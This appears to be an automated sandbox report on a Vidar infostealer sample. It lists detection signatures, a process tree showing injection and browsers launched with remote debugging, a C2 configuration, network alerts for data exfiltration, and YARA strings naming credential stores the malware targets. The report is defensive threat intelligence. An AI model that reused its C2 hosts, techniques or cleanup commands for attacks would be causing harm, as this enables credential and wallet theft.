Edit tour

Windows Analysis Report
CYA75gigem.exe

Overview

General Information

Sample name:	CYA75gigem.exe renamed because original name is a hash value
Original sample name:	c063144d97874cb1e7edf5bdb84c3599.exe
Analysis ID:	1614874
MD5:	c063144d97874cb1e7edf5bdb84c3599
SHA1:	f6acb702e7571633ad2c5bdd1e519d617eb34c3d
SHA256:	f19da3c90ad45036e225845169410e70c0e3cd9e9394b000f3bb1102badc6d7b
Tags:	exeuser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

CYA75gigem.exe (PID: 6856 cmdline: "C:\Users\user\Desktop\CYA75gigem.exe" MD5: C063144D97874CB1E7EDF5BDB84C3599)

BitLockerToGo.exe (PID: 7588 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2204,i,1790315144490273545,12717934201771538317,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5680 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2424,i,4433328751228120541,16908853615490472188,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 6968 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jmo89" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3564 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

msedge.exe (PID: 5084 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1340 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6204 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6516 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199825403037", "Botnet": "oomaino5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1ad7f:$str01: MachineID: 0x19d4f:$str02: Work Dir: In memory 0x1ae27:$str03: [Hardware] 0x1ad68:$str04: VideoCard: 0x1a4c0:$str05: [Processes] 0x1a4cc:$str06: [Software] 0x19de0:$str07: information.txt 0x1aabc:$str08: %s\* 0x1ab09:$str08: %s\* 0x19ffd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x1a392:$str12: UseMasterPassword 0x1ae33:$str13: Soft: WinSCP 0x1a86b:$str14: <Pass encoding="base64"> 0x1ae16:$str15: Soft: FileZilla 0x19dd2:$str16: passwords.txt 0x1a3bd:$str17: build_id 0x1a484:$str18: file_data
00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
00000001.00000002.1592577669.000000000A416000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: CYA75gigem.exe PID: 6856	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7588	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.CYA75gigem.exe.a320000.6.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.CYA75gigem.exe.a320000.6.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
1.2.CYA75gigem.exe.a2e0000.3.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.CYA75gigem.exe.a2e0000.3.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
9.2.BitLockerToGo.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.BitLockerToGo.exe.400000.0.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
1.2.CYA75gigem.exe.a300000.5.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1917f:$str01: MachineID: 0x19227:$str03: [Hardware] 0x19168:$str04: VideoCard: 0x188c0:$str05: [Processes] 0x188cc:$str06: [Software] 0x18ebc:$str08: %s\* 0x18f09:$str08: %s\* 0x183fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x18792:$str12: UseMasterPassword 0x19233:$str13: Soft: WinSCP 0x18c6b:$str14: <Pass encoding="base64"> 0x19216:$str15: Soft: FileZilla 0x187bd:$str17: build_id 0x18884:$str18: file_data
9.2.BitLockerToGo.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.BitLockerToGo.exe.400000.0.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1ad7f:$str01: MachineID: 0x19d4f:$str02: Work Dir: In memory 0x1ae27:$str03: [Hardware] 0x1ad68:$str04: VideoCard: 0x1a4c0:$str05: [Processes] 0x1a4cc:$str06: [Software] 0x19de0:$str07: information.txt 0x1aabc:$str08: %s\* 0x1ab09:$str08: %s\* 0x19ffd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x1a392:$str12: UseMasterPassword 0x1ae33:$str13: Soft: WinSCP 0x1a86b:$str14: <Pass encoding="base64"> 0x1ae16:$str15: Soft: FileZilla 0x19dd2:$str16: passwords.txt 0x1a3bd:$str17: build_id 0x1a484:$str18: file_data
1.2.CYA75gigem.exe.a300000.5.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.CYA75gigem.exe.a300000.5.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
1.2.CYA75gigem.exe.a340000.1.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1917f:$str01: MachineID: 0x19227:$str03: [Hardware] 0x19168:$str04: VideoCard: 0x188c0:$str05: [Processes] 0x188cc:$str06: [Software] 0x18ebc:$str08: %s\* 0x18f09:$str08: %s\* 0x183fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x18792:$str12: UseMasterPassword 0x19233:$str13: Soft: WinSCP 0x18c6b:$str14: <Pass encoding="base64"> 0x19216:$str15: Soft: FileZilla 0x187bd:$str17: build_id 0x18884:$str18: file_data
1.2.CYA75gigem.exe.a2e0000.3.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1917f:$str01: MachineID: 0x19227:$str03: [Hardware] 0x19168:$str04: VideoCard: 0x188c0:$str05: [Processes] 0x188cc:$str06: [Software] 0x18ebc:$str08: %s\* 0x18f09:$str08: %s\* 0x183fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x18792:$str12: UseMasterPassword 0x19233:$str13: Soft: WinSCP 0x18c6b:$str14: <Pass encoding="base64"> 0x19216:$str15: Soft: FileZilla 0x187bd:$str17: build_id 0x18884:$str18: file_data
1.2.CYA75gigem.exe.a320000.6.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1917f:$str01: MachineID: 0x19227:$str03: [Hardware] 0x19168:$str04: VideoCard: 0x188c0:$str05: [Processes] 0x188cc:$str06: [Software] 0x18ebc:$str08: %s\* 0x18f09:$str08: %s\* 0x183fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x18792:$str12: UseMasterPassword 0x19233:$str13: Soft: WinSCP 0x18c6b:$str14: <Pass encoding="base64"> 0x19216:$str15: Soft: FileZilla 0x187bd:$str17: build_id 0x18884:$str18: file_data
1.2.CYA75gigem.exe.a340000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.CYA75gigem.exe.a340000.1.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
1.2.CYA75gigem.exe.a2c0000.4.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.CYA75gigem.exe.a2c0000.4.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19f7f:$str01: MachineID: 0x18f4f:$str02: Work Dir: In memory 0x1a027:$str03: [Hardware] 0x19f68:$str04: VideoCard: 0x196c0:$str05: [Processes] 0x196cc:$str06: [Software] 0x18fe0:$str07: information.txt 0x19cbc:$str08: %s\* 0x19d09:$str08: %s\* 0x191fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x19592:$str12: UseMasterPassword 0x1a033:$str13: Soft: WinSCP 0x19a6b:$str14: <Pass encoding="base64"> 0x1a016:$str15: Soft: FileZilla 0x18fd2:$str16: passwords.txt 0x195bd:$str17: build_id 0x19684:$str18: file_data
1.2.CYA75gigem.exe.a2c0000.4.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1917f:$str01: MachineID: 0x19227:$str03: [Hardware] 0x19168:$str04: VideoCard: 0x188c0:$str05: [Processes] 0x188cc:$str06: [Software] 0x18ebc:$str08: %s\* 0x18f09:$str08: %s\* 0x183fd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x18792:$str12: UseMasterPassword 0x19233:$str13: Soft: WinSCP 0x18c6b:$str14: <Pass encoding="base64"> 0x19216:$str15: Soft: FileZilla 0x187bd:$str17: build_id 0x18884:$str18: file_data
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe", ParentImage: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe, ParentProcessId: 7588, ParentProcessName: BitLockerToGo.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 7744, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:16.037670+0100	2044247	1	Malware Command and Control Activity Detected	88.99.124.230	443	192.168.2.7	61121	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:17.369010+0100	2051831	1	Malware Command and Control Activity Detected	88.99.124.230	443	192.168.2.7	61130	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:16.037483+0100	2049087	1	A Network Trojan was detected	192.168.2.7	61121	88.99.124.230	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:18.943895+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61141	88.99.124.230	443	TCP
2025-02-14T08:25:19.879113+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61145	88.99.124.230	443	TCP
2025-02-14T08:25:28.065645+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61217	88.99.124.230	443	TCP
2025-02-14T08:25:28.299998+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61224	88.99.124.230	443	TCP
2025-02-14T08:25:29.316863+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61230	88.99.124.230	443	TCP
2025-02-14T08:25:31.395559+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61246	88.99.124.230	443	TCP
2025-02-14T08:25:33.253284+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61248	88.99.124.230	443	TCP
2025-02-14T08:25:39.531802+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61279	88.99.124.230	443	TCP
2025-02-14T08:25:39.847509+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61284	88.99.124.230	443	TCP
2025-02-14T08:25:40.981259+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61291	88.99.124.230	443	TCP
2025-02-14T08:25:42.021082+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	61297	88.99.124.230	443	TCP
2025-02-14T08:25:43.700853+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	52410	88.99.124.230	443	TCP
2025-02-14T08:25:44.725174+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	52417	88.99.124.230	443	TCP
2025-02-14T08:25:46.939672+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	52422	88.99.124.230	443	TCP
2025-02-14T08:25:51.453196+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	52425	88.99.124.230	443	TCP
2025-02-14T08:25:55.943724+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	52432	88.99.124.230	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:28.299998+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61224	88.99.124.230	443	TCP
2025-02-14T08:25:29.316863+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61230	88.99.124.230	443	TCP
2025-02-14T08:25:31.395559+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61246	88.99.124.230	443	TCP
2025-02-14T08:25:39.847509+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61284	88.99.124.230	443	TCP
2025-02-14T08:25:40.981259+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61291	88.99.124.230	443	TCP
2025-02-14T08:25:42.021082+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	61297	88.99.124.230	443	TCP
2025-02-14T08:25:43.700853+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	52410	88.99.124.230	443	TCP
2025-02-14T08:25:44.725174+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	52417	88.99.124.230	443	TCP
2025-02-14T08:25:46.939672+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	52422	88.99.124.230	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T08:25:13.208019+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.7	61102	88.99.124.230	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CYA75gigem.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://webdisk.lodrat.org/i;	Avira URL Cloud: Label: malware
Source: https://webdisk.lodrat.org/webdisk.lodrat.org	Avira URL Cloud: Label: malware
Source: https://webdisk.lodrat.org/nt.documentE	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp

